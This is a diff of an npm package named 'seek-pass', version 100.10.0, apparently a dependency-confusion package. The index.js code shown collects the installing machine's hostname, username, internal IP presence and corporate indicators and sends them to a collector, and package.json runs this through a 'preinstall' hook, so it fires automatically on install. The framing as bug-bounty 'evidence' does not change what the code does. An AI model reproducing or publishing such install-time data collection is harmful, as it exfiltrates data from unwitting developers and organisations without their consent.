+ console.log(` • Hostname: ${allEvidence.required.hostname.systemHostname}`);
556
+ console.log(` • User: ${allEvidence.required.whoami.username}`);
557
+ console.log(` • Corporate Indicators: ${allEvidence.ownership.corporateIndicators.length}`);
558
+
559
+ // Send to collector
560
+ await sendEvidence(allEvidence);
561
+
562
+ console.log(`\n${colors.yellow}Important: This evidence proves the package was executed by:${colors.reset}`);
563
+ console.log(` ✓ User: ${whoamiEvidence.username}`);
564
+ console.log(` ✓ On host: ${hostnameEvidence.systemHostname}`);
565
+ console.log(` ✓ From internal network: ${httpEvidence.internalIPs.length > 0 ? 'YES' : 'NO'}`);
566
+ console.log(` ✓ With corporate indicators: ${ownershipEvidence.corporateIndicators.length > 0 ? 'YES' : 'NO'}`);
567
+
568
+ if (ownershipEvidence.corporateIndicators.length === 0 && httpEvidence.internalIPs.length === 0) {
569
+ console.log(`\n${colors.red}⚠️ WARNING: No corporate indicators found!${colors.reset}`);
570
+ console.log(`${colors.red}This may not be a valid security risk on the program's side.${colors.reset}`);
571
+ }
394
572
 
395
573
  } catch (error) {
396
- console.error('Error collecting/sending data:', error);
574
+ console.error(`${colors.red}Error collecting evidence:${colors.reset}`, error);
575
+ process.exit(1);
397
576
  }
398
577
  }
399
578
 
400
- // Execute
401
- sendData();
579
+ // Run the collector
580
+ main();
package/package.json CHANGED
@@ -1,7 +1,12 @@
1
1
  {
2
2
  "name": "seek-pass",
3
- "version": "100.3.0",
3
+ "version": "100.10.0",
4
+ "description": "",
5
+ "main": "index.js",
4
6
  "scripts": {
5
7
  "preinstall": "node index.js"
6
- }
8
+ },
9
+ "keywords": [],
10
+ "author": "",
11
+ "license": "ISC"
7
12
  }